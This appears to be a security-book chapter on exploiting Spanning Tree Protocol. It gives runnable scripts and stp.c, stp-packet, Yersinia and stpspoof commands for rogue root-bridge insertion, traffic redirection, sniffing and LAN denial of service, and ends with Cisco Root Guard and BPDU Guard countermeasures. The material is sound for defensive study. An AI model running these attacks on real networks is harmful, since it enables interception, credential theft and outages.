SPANNING TREE PROTOCOL EXPLOITATION
| | ||
| | ||
| | ||
Spanning Tree Protocol (STP) exists to prevent Layer 2 loops from being formed when switches or bridges are interconnected via multiple paths for redundancy reasons (Figure 12-1).
Figure 12-1: A typical situation in which STP must be used
This is done by making the switches aware of each other and of the bandwidth of links between them. Then the participating switches can select a single, loop-free , maximized bandwidth path through the network. In Figure 12-1, such a path between switches 1 and 4, 2 and 5, and 3 and 6 is around the gigabit ring perimeter, not the direct 100MB links between these pairs of devices. Assuming that the default STP settings of switches weren't changed, the higher amount of hops around the ring is irrelevant, since the STP cost along it (4 — 3 = 12) is less than the cost of a single 100MB link (19). And it is this cost that determines which path the packets are going to take. The default STP path cost on modern Cisco Catalyst switches is outlined in Table 12-1.
| |
| Speed | Path Cost | Link Type |
|---|---|---|
| 4 Mbps | 250 | Token Ring |
| 10 Mbps | 100 | Ethernet |
| 16 Mbps | 62 | Token Ring |
| 20 Mbps | 56 | EtherChannel |
| 30 Mbps | 47 | EtherChannel |
| 40 Mbps | 41 | EtherChannel |
| 45 Mbps | 39 | T3 line |
| 50 Mbps | 35 | EtherChannel |
| 54 Mbps | 33 | 802.11g wireless |
| 60 Mbps | 30 | EtherChannel |
| 70 Mbps | 26 | EtherChannel |
| 80 Mbps | 23 | EtherChannel |
| 100 Mbps | 19 | Fast Ethernet |
| 155 Mbps | 14 | OC-3 line |
| 200 Mbps | 12 | Fast EtherChannel |
| 300 Mbps | 9 | Fast EtherChannel |
| 400 Mbps | 8 | Fast EtherChannel |
| 500 Mbps | 7 | Fast EtherChannel |
| 600 Mbps | 6 | Fast EtherChannel |
| 622 Mbps | 6 | OC-12 line |
| 700 Mbps | 5 | Fast EtherChannel |
| 800 Mbps | 5 | Fast EtherChannel |
| 1 Gbps | 4 | Gigabit Ethernet |
| 2 Gbps | 3 | Gigabit EtherChannel |
| 10 Gbps | 2 | 10G Ethernet |
| 20 Gbps | 1 | 20G EtherChannel |
| |
In our practical experience, these default values are rarely changed by system administrators.
For STP to work, a reference point that controls the STP domain is needed. Such a reference point is called a root bridge , which is a root of the STP domain tree that was chosen from all connected switches via elections . For the specific purpose of this book, be aware that all traffic in the STP domain must go through the root bridge. After the root bridge is selected, all other switches choose root ports , which are ports with a lowest STP path cost to the root bridge. Finally, the designated ports (those with the lowest path cost to the root bridge through a root port) for each network segment are determined. Then the STP tree is built. Those switch ports that do not participate in the tree are blocked . Blocked ports do not receive or transmit data; nor do they add Media Access Control (MAC) addresses to the switch CAM table. All they do is listen to STP Bridge
Protocol Data Units (BPDUs). It is the presence of blocked ports that makes Layer 2 loops impossible . If the STP tree is reconfigured and it becomes feasible for the blocked port to become a root or designated one, the port will go to the forwarding state through the listening and learning states. In a listening state, a switch port can send BPDUs and actively participate in STP workings. In a learning state, the port can learn new MAC addresses and add them to the CAM table. The whole process of moving from blocked to forwarding takes 30 to 50 seconds by default.
It is obvious, then, that by manipulating STP, an attacker can alter the STP path to his or her advantage, directing the network traffic through or at least to the controlled host. And no authentication stands in the way of such manipulation.
This is how a standard 802.1d BPDU frame looks:
Offset Name Size 1 Protocol Identifier 2 bytes Protocol Version 1 byte Identifier BPDU type 1 byte Flags 1 byte Root Identifier 8 bytes Root Path Cost 4 bytes Bridge Identifier 8 bytes Port Identifier 2 bytes Message Age 2 bytes Max Age 2 bytes Hello Time 2 bytes
Here's how you write a BPDU frame in a C language:
typedef struct { Bpdu_type type; Identifier root_id; Cost root_path_cost; Identifier bridge_id; Port_id port_id; Time message_age; Time max_age; Time hello_time; Time forward_delay; Flag topology_change_acknowledgement; Flag topology_change; } Config_bpdu; All STP attacks are nothing more than an attacker modifying one or more of the parameters shown here and flooding the network with such modified frames , perhaps after sniffing it for existing legitimate STP BPDUs and taking their settings into account. The most important attack type would be presenting a machine under your control as a new root bridge, so that all traffic on the STP domain will have to go through it.
Inserting a Rogue Root Bridge
| Attack |
|
A root bridge is selected by comparing the Bridge Identifier (Bridge ID) fields of STP BPDUs. The 8 bytes of the Bridge ID field are split into bridge priority (2 bytes) and MAC address (6 bytes). Bridge priority on Cisco Catalysts defaults to 0x8000, or 32768, and is the defining variable of root bridge selection: the switch with the lowest bridge priority wins. If two switches in the STP tree have the same bridge priority, then out of these two a switch with the lowest MAC address wins. For the purpose of root bridge elections, a MAC address of a switch is often one of the supervisor engine interface addresses, but it could be assigned out of the available pool of 1024 switch MAC addresses, depending on a switch model. Thus, an attacker simply needs to flood the networks with BPDUs advertising his own host as having a lower bridge priority than the current root bridge. If the legitimate root bridge has zero priority, then BPDUs advertising a zero priority and a lower MAC address can be sent to take over the STP domain. Two main types of rogue root bridge insertion attacks can be used: multihomed and singlehomed . A multihomed attack (Figure 12-2) is preferable, since it will never lead to a connectivity loss.
Figure 12-2: A multihomed attack
However, a multihomed attack requires physical access to the switches involved and is usually feasible only for an internal malcontent or a very skillful social engineer. The attacker host can be using a laptop with two Ethernet interfaces (one inbuilt and one PCMCIA) or a laptop with a small connected hub. Nowadays, even some personal digital assistants (PDAs) may sufficefor instance an iPAQ with a double PCMCIA cradle and two inserted Ethernet cards. A singlehomed attack can be just as efficient, but on networks that are not fully meshed, STP tree convergence will take more time and some switches may even lose connectivity. This is not desirable, since denial-of-service (DoS) is not the aim of such attacks, less traffic would be available for the attacker, and connectivity problems would prompt their immediate investigation by system administrators.
| Note | A fake server attack is an example of when a DoS attack is desirable. A cracker cuts off a switch with a connected legitimate server by claiming to be a root bridge and spoofs the server's IP address. This can be used for phishing , for examplesetting a fake remote login server on the cracker's machine and collecting the credentials of users trying to log in. |
Many tools allow STP frames generation. You can accomplish this using BSD brconfig and Linux bridge- utils , and you will need to install and configure such utilities to support bridging for a multihomed attack anyway. However, to send fully customized frames, more hacker-oriented tools are needed (and you will need root to run them because of the raw sockets' use). Historically, the first example of such tool is stp.c , which is supplied with a great "Fun with the Spanning Tree Protocol" article by Oleg Artemjev and Vladislav Myasnyankin in Phrack 61 ( http://www.phrack.org/show.php?p=61&a=12 ):
arhontus / # ./stp -h usage: stp [-v] [-dev <device>] [-dmac <dmac>] [-smac <smac>] -protoid <proto_id> -protovid <proto_v_id> -bpdu <bpdutype> -flags <flags> \ -rootid <rootid> -rootpc <rootpc> -brid <brid> -portid <portid> \ -mage <mage> -maxage <maxage> -htime <hellotime> -fdelay <fdelay> where: -v - be verbose and write output to file packet.dmp instead socket device - ethernet device name (default - eth0) dmac - destination MAC (default - 01:80:C2:00:00:00) smac - source MAC (default - MAC on given or default device) proto_id - Protocol Identifier (hex, 2 bytes) proto_v_id - Protocol Version Identifier (hex, 1 byte) bpdutype - BPDU type (hex, 1 byte) flags - flags value (hex, 1 byte) rootid - Root Identifier (hex, 8 bytes) rootpc - Root Path Cost (hex, 4 bytes) brid - Bridge Identifier (hex, 8 bytes) portid - Port Identifier (hex, 2 bytes) mage - Message Age (hex, 2 bytes) maxage - Max Age (hex, 2 bytes) hellotime - Hello Time (hex, 2 bytes) fdelay - Forward Delay (hex, 2 bytes)
This tool is supplied with a test case shell script that can be easily modified to serve an attacker's ends. For example, the following script sends STP updates every 2 seconds (as it should be), claiming root:
#!/bin/sh # # note: # all numbers can be like 00010203040506 or like 00:01:02:03:04:05:06 # device=eth0 # ethernet device name (default - eth0) dmac=01:80:C2:00:00:00 # destination MAC (default - 01:80:C2:00:00:00) smac=00:01:38:00:b4:c7 # source MAC (default - MAC on given or default device) proto_id=0000 # Protocol Identifier (hex, 2 bytes) proto_v_id=00 # Protocol Version Identifier (hex, 1 byte) bpdutype=00 # BPDU type (hex, 1 byte) flags=00 # flags value (hex, 1 byte) rootid=000000013800b4c7 # Root Identifier (hex, 8 bytes) rootpc=00000000 # Root Path Cost (hex, 4 bytes) brid=800000013800b4c7 # Bridge Identifier (hex, 8 bytes) portid=8002 # Port Identifier (hex, 2 bytes) mage=0000 # Message Age (hex, 2 bytes) maxage=1400 # Max Age (hex, 2 bytes) hellotime=0200 # Hello Time (hex, 2 bytes) fdelay=0f00 # Forward Delay (hex, 2 bytes) while :; do date ./stp -v -dev $device -dmac $dmac -smac $smac -protoid $proto_id -protovid \ $proto_v_id -bpdu $bpdutype -flags $flags -rootid $rootid -rootpc $rootpc \ -brid $brid -portid $portid -mage $mage -maxage $maxage -htime $hellotime \ -fdelay $fdelay sleep 2 done
In this particular case, the bridge ID is 800000013800b4c7. In this ID, 00013800b4c7 is a MAC address, and the leading 0000 is the bridge priority, which is 0 and should guarantee winning the root elections in the majority of cases. Of course, other frame fields can also be modifiedfor example, a maximum aging interval can be increased for better preservation of our gained root.
A somewhat more advanced tool is stp-packet ( http://www.stp-packet.chez.tiscali.fr/ ), which allows running a continuous flood of BPDUs without additional scripting, can do 802.1q frame encapsulation (we will return to this later in this section), and has a "canned" root bridge insertion attack:
arhontus / # ./stp-packet -help ************************************* stp-packet relased by David Bizeul ************************************* usage: stp-packet [-help] [-dev <device>] [-dmac <dmac>] [-smac <smac>[random]] \ [-protoid <proto_id>] [-protovid <proto_v_id>] [-bpdu <bpdutype>] \ [-flags <flags>] [-rootid <rootid>] [-rootpc <rootpc>] [-brid <brid>] [-portid \ <portid>] [-mage <mage>] [-maxage <maxage>] [-htime <hellotime>] [-fdelay \ <fdelay>] [-attack [eternalsmallid]] [-802.1q [vlanidrandomflood]] where: device - ethernet device name (default - eth0) dmac - destination MAC (default - 01:80:C2:00:00:00) smac - source MAC or random (default - MAC on given or default device) proto_id - Protocol Identifier (hex, 2 bytes) proto_v_id - Protocol Version Identifier (hex, 1 byte) bpdutype - BPDU type (hex, 1 byte) flags - flags value (hex, 1 byte) rootid - Root Identifier (hex, 8 bytes) rootpc - Root Path Cost (hex, 4 bytes) brid - Bridge Identifier (hex, 8 bytes) portid - Port Identifier (hex, 2 bytes) mage - Message Age (hex, 2 bytes) maxage - Max Age (hex, 2 bytes) hellotime - Hello Time (hex, 2 bytes) fdelay - Forward Delay (hex, 2 bytes) attack - Attack type : eternal elections or small root_id injection 802.1q - Wrap packet in 802.1q frame is to be sent on a specified VLAN. Default is VLAN 1. Random vlanid can also be used or a flood mode used in conjunction with an attack flag.
An attack to insert a root bridge on VLAN 10 will look like this:
arhontus / # ./stp-packet -attack smallid -802.1q vlanid 10 flood ************************************* stp-packet relased by David Bizeul ************************************* Using device eth0 and its address Sending bpdu Sending bpdu Sending bpdu
We suggest looking at the #define directives of stp-packet.c before compiling the tool and modifying them in accordance to your specific requirements, if necessary.
A "Swiss army knife " of Layer 2 (and not only!) attacks and a workhorse of this chapter is, of course, Yersinia ( http://www.yersinia. sourceforge .net/ ). Yersinia uses libpcap, libnet, and ncurses; runs on Linux, BSD, and Solaris; and supports multiple users and multiple attacks per user . At the moment of writing, it supports STP, Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Routing Protocol (HSRP), VLAN Trunking Protocol (VTP), and 802.1q protocols. You can also use it as a sniffer for these protocols and customize any parameter of frames or packets sent using the tool.
Yersinia can be run in three ways.
First, it can be run from the command line, as shown here:
arhontus / # ./yersinia stp -attack <attack number>
Consult the README file and the man page ( man yersinia ) for the attack number assignment. Or use the help built in to the tool:
arhontus / # yersinia stp -h 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 Yersinia... 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 The Black Death for nowadays networks 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 by Slay & tomac 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 http://yersinia.wasahero.org 2 2 2 2 2 2 2 2 2 2 yersinia@wasahero.org 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 Prune your MSTP, RSTP, STP trees!!!! 2 2 2 2 2 2 2 2 Usage: yersinia stp [-hM] [-v version] [-i interface] [-type type] [-source hw_addr] [-dest hw_addr] [-F flags] [-root id] [-cost pathcost] [-bridge id] [-port id] [-age secs] [-max secs] [-hello secs] [-role role] [-state state] [-forward secs] [-attack attack] -h This help screen.
See the man page for a full list of options and many examples. You can send bugs and suggestions to the Yersinia developers at yersinia@iwasnot.org .
Yersinia can also be run using a client/daemon structure:
arhontus / # yersinia -D arhontus / # telnet localhost 12000 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Welcome to yersinia version 0.5.3. Copyright 2004 Slay & Tomac. login:******** password:******** MOTD: It's the voodoo who do what you don't dare to people! yersinia> enable Password:******** yersinia# show ? attacks Show running attacks cdp Cisco Discovery Protocol (CDP) information dhcp Dynamic Host Configuration Protocol (DHCP) information dot1q 802.1Q information dtp Dynamic Trunking Protocol (DTP) information history Display the session command history hsrp Hot Standby Router Protocol (HSRP) information interfaces Interface status stats Show statistics stp Spanning Tree Protocol (STP) information users Display information about terminal lines version System hardware and software status vtp Virtual Trunking Protocol (VTP) information yersinia#? cancel Cancel running attack clear Clear stats cls Clear screen disable Turn off privileged commands exit Exit from current level prueba Test command run Run attack set Set specific params for protocols show Show running system information yersinia# set ? cdp Set cisco discovery params dhcp Set dynamic host params dot1q Set 802.1Q params dtp Set dynamic trunking params hsrp Set hot standby router params stp Set spanning tree params vtp Set virtual trunking params yersinia# set stp ? version Set spanning tree version interface Set network interface to use type Set bpdu type source Set source MAC address dest Set destination MAC address flags Set bpdu flags rootid Set root id cost Set the spanning tree root path cost bridgeid Set bridge id portid Set port id role Set the rapid spanning tree port role state Set the rapid spanning tree port state message Set message age max-age Set the max age interval for the spanning tree hello Set the hello interval for the spanning tree forward Set the forward delay for the spanning tree defaults Set all values to default yersinia# run ? cdp Run cisco discovery attacks dhcp Run dynamic host attacks dot1q Run 802.1Q attacks dtp Run dynamic trunking attacks hsrp Run hot standby router attacks stp Run spanning tree attacks vtp Run virtual trunking attacks yersinia# run stp attack Run protocol attack yersinia# run stp attack <0> NONDOS attack sending conf BPDU <1> NONDOS attack sending tcn BPDU <2> DOS attack sending conf BPDUs <3> DOS attack sending tcn BPDUs <4> NONDOS attack Claiming Root Role <5> NONDOS attack Claiming Other Role <6> DOS attack Claiming Root Role with MiTM <cr>
Does this command line structure look familiar?
Yersinia can also be run from an intuitive, easy to use GUI by issuing the yersinia -I command (Figure 12-3).
Figure 12-3: The Yersinia ncurses GUI
You can switch between the protocol modes in the GUI by pressing the F keys:
-
F1 STP mode (the default when the tool is launched)
-
F2 CDP mode
-
F3 DHCP mode
-
F4 HSRP mode
-
F5 DTP mode
-
F6 802.1q mode
-
F7 VTP mode
Before the attack is run, you must set the parameters of frames to be sent. The easiest option is to set everything to the well-thought-out defaults. This can be done by pressing a d button in the ncurses GUI (notice the change of STP Fieldsyou can edit them by pressing e) or by using the set stp defaults command when logged into a daemon. You can also learn a frame from the network by pressing L and editing it before sending away. Then launch the attack window by pressing x and select the attack needed (Figure 12-4).
Figure 12-4: STP attacks in Yersinia
Attack number 4 is a "root bridge insertion" needed. Attack number 6 is a "dual homed STP root bridge insertion." It will require entering the names of interfaces to use when launched. Verify the running attacks by pressing l, and watch the frames in hex in a window opened by pressing v .
Modifying a Traffic Path Without Becoming Root
| Attack |
|
It isn't necessary to become a spanning tree root to get more traffic through your rogue bridge. Advertising your link as having a more feasible path cost will cause an STP recalculation, directing more traffic to you. In Yersinia, modify the cost (the lower the better)for example, like so:
yersinia# set stp cost <0-65535> Decimal root path cost <0x00000000-0xFFFFFFFF> Hexadecimal root path cost <cr>
Then become a nonroot bridge in the STP domain:
yersinia# set stp interface eth0 yersinia# run stp attack 5
You can also use stp and stp-packet to run this attack. The idea is to advertise a bridge with a high path cost but with a bridge priority value higher than that of the existing root bridge. This attack is less risky than becoming a root bridge since it has a lower profile and is unlikely to cause a DoS. However, for it to be successful, you should be aware of the topology of the STP tree. Study the STP frames captured as well as other possible hints, such as CDP and Simple Network Management Protocol (SNMP) packets, and try to build a map of the network with the links' bandwidth written on it prior to launching the attack.
Recalculating STP and Data Sniffing
| Attack |
|
A recalculation of the STP tree eliminates all dynamic CAM table entries on switches involved in 15 seconds (forward delay state). The default CAM aging time on Cisco Catalysts is 300 seconds, and the STP recalculation reduces it by 20 times. Then the switch enters the learning mode, in which the traffic is flooded through all ports until the MACs of connected hosts are discovered and added to the table. Of course, refreshing the CAM table every 15 seconds would help only with a partial traffic capture, and frequent STP topology changes are likely to bring the network to a standstill. However, the "change and sniff" attack can be more successful if STP convergence- decreasing measures are in use. Such measures include using Cisco PortFast or running Rapid STP (RSTP, 802.1w) instead of the traditional 802.1d. In these particular cases, frequent STP changes would not cause DoS and the switch will spend more time in a "hub" mode. A couple of CDP, SNMP, or routing protocol packets captured during this time can prove invaluable for the attacker.
The trick is to combine STP tree recalculation with a CAM table flood. What will happen then? A recalculation is going to empty the CAM table in 15 seconds. Just before this happens, a powerful multithreaded CAM table flooder kicks off and fills up the table before the legitimate entries are added, winning the race with the legitimate hosts. And after the table is filled, the switch is forced to work in a hub mode anyway. Many powerful CAM table flooders are availablesuch as Arpspoof, Taranis, and Ettercap, as well as a more historical macof (Dsniff), to name a few. To cause a tree recalculation, you can craft and send Topology Change Notification (TCN) frames (a special form of BPDU) using the tools we have mentionedfor example, attack numbers 1 and 3 in Yersinia. Altering the traffic path, not to mention winning root bridge elections, is not necessary. However, a "soft TCN frame" approach will not work if a Cisco PortFast feature is turned on, since a switch would not send TCN BPDUs through a PortFast-enabled port.
STP DoS Attacks
| Attack |
|
While DoS attacks aren't as interesting as traffic redirection, sniffing, and possible modification, STP-based DoS attacks can render a large network completely useless and are difficult to detect and remedy. In addition, the aim of the attacker can be to segment the network, rather than bring it down. For example, a cracker may try to cut off an IDS/ IPS management station or sensor, centralized syslog server, or system administrator's machine in hope of covering her tracks and bypassing network defenses. Another possibility is splitting the network to cut clients from legitimate servers and presenting them with fake servers instead, to harvest login credentials and other useful information. Interestingly, traffic redirection attacks can serve exactly the same goals. If a legitimate root bridge (switch) has an IDS blade , taking over its STP root role would decrease the amount of packets flowing through the switch and available for analysis to the blade.
Thus, the STP DoS threat cannot be underestimated and should always be taken into account when installing and configuring a switched LAN. Several types of such attacks can occur. The most common are probably causing eternal root bridge elections and/or root bridge disappearance. Such attacks are easy to launch: the attacker simply floods the LAN with root-claiming configuration BPDUs autodecrementing their priority, or wins the elections while using a minimal max-age field setting, waiting for the max-age to expire without sending out any BPDUs, and repeating the process again and again. The BPDUs with which you bombard the network do not have to advertise a real switchin fact, getting a nonexistent device elected as root will cause more disruption. A tool designed to take such an approach is stp-spoof ( http://www.tomicki.net/attacking.stp.php ):
arhontus / # ./stpspoof stpspoof a spanning tree protocol spoofer v0.1 (c) 2004 by Lukasz Tomicki <tomicki@o2.pl> usage: stpspoof <interface> options: -d <delay between packets> (default: 1s) -t announce a topology change (default: no) -p randomize port IDs (default: 0x0280) -r randomize source MAC addresses (default: no) -h hello time (default: 1s) -m max age (default: 2s) -f forward delay (default: 15s)
Note that while this tool worked fine for us on old 2.4 kernels , on the newer kernels we encountered an error in processing the supplied interface. Thus, some source code tweaking may be necessary. Of course, you can also cause eternal root bridge elections employing stp-packet , with an additional benefit of disrupting a selected VLAN (perhaps the one on which logging or IDS management servers are deployed):
arhontus / # ./stp-packet -attack eternal -802.1q vlanid 3 flood
It is not necessary to cause illegitimate elections and become a root bridge to wreak havoc on the STP domain. Causing constant STP topology recalculation may suffice, throwing traffic along different routes all the time and overloading resources of all participating switches. This can be done via flooding the LAN with either configuration (Yersinia STP attack number 2) or TCN (Yersinia STP attack number 3) STP frames. And by running stp-spoof with a -t flag, topology recalculation and eternal root bridge elections/root bridge disappearance attacks can be successfully combined. Similar results can be achieved by running Yersinia and launching attacks 3 and 4 simultaneously . Launching attacks 2 and 3 at the same time will crash the tool due to a bug in Libnet.
Finally, let's review a network split DoS. The STP standard assumes that all bridge IDs are different. If two machines with the same bridge ID simultaneously advertise themselves as root, a collision will occur. This will confuse the switches on the network and eventually tear it apart (Figure 12-5).
Figure 12-5: Network split DoS via STP collision
Running this attack is straightforward; simply emulate STP settings of the legitimate root bridge when flooding a LAN with custom BPDUs using a tool of your choice. A variation of the attack that offers more flexibility requires having two or more hosts under the attacker's control trying to win STP root bridge elections using identical bridge IDs. This can be easily accomplished by, for example, a simultaneous launch of stp-packet-attack smallid flood & on the controlled hosts.
Cisco-Specific Countermeasures Against STP-Based Attacks
| Countermeasure | While all the described STP attacks on LANs look threatening , don't worry. This menace can be completely eliminated by applying Cisco proprietary security solutions, namely Root Guard and BPDU Guard. STP Root Guard forces an interface to become a designated port to protect the current root bridge status and prevent other switches on the STP domain from gaining root role. If a Root Guardprotected port on a legitimate root bridge receives a BPDU with a lower bridge ID, this port will go into a listening state, all traffic forwarding through the port will stop, and the configuration of the STP tree will be preserved. |
Root Guard is enabled on a port basis:
CatOS_switch>(enable)set spantree guard root <module/port> IOS_switch(config)#interface fastethernet <module/port> IOS_switch(config)#spanning-tree guard root
For Catalysts 2900XL, 3500XL, 2950, and 3550, the last command is shown here:
IOS_switch(config)#spanning-tree rootguard
Spanning Tree BPDU Guard is enabled on a whole switch, rather than on a port-by-port basis, and it works if combined with the Cisco PortFast STP convergence feature. It turns off all PortFast-configured interfaces that receive BPDUs, instead of putting them into the blocking port state. Under normal conditions, PortFast-enabled interfaces are end-user ports that should not receive STP frames. Appearance of BPDUs on a PortFast-configured interface indicates a possible attack. BPDU Guard disconnects the attacking device by shutting down the interface until the network administrator investigates the incident and manually turns on the offending port after the cause of the incident is eliminated.
To enable Cisco PortFast together with BPDU Guard, use the following commands:
CatOS_switch>(enable)set spantree portfast bpdu-guard enable IOS_switch(config)#spanning-tree portfast bpduguard
It is actually possible to configure the protected PortFast ports to become reenabled without a network administrator's interference after a defined time period has passed. This is done like so:
CatOS_switch>(enable)set errdisable-timeout interval <time in seconds> CatOS_switch>(enable)set errdisable-timeout enable bpdu-guard
or
IOS_switch(config)#errdisable recovery cause bpduguard IOS_switch(config)#errdisable recovery interval <time in seconds>
The default time interval is 300 seconds on both switch types.
To see whether the illegitimate BPDUs were received, execute this
CatOS_switch>(enable)show spantree summary
or this:
IOS_switch(config)#show spanning-tree summary totals
| | ||
| | ||
| | ||
EAN: 2147483647
Pages: 117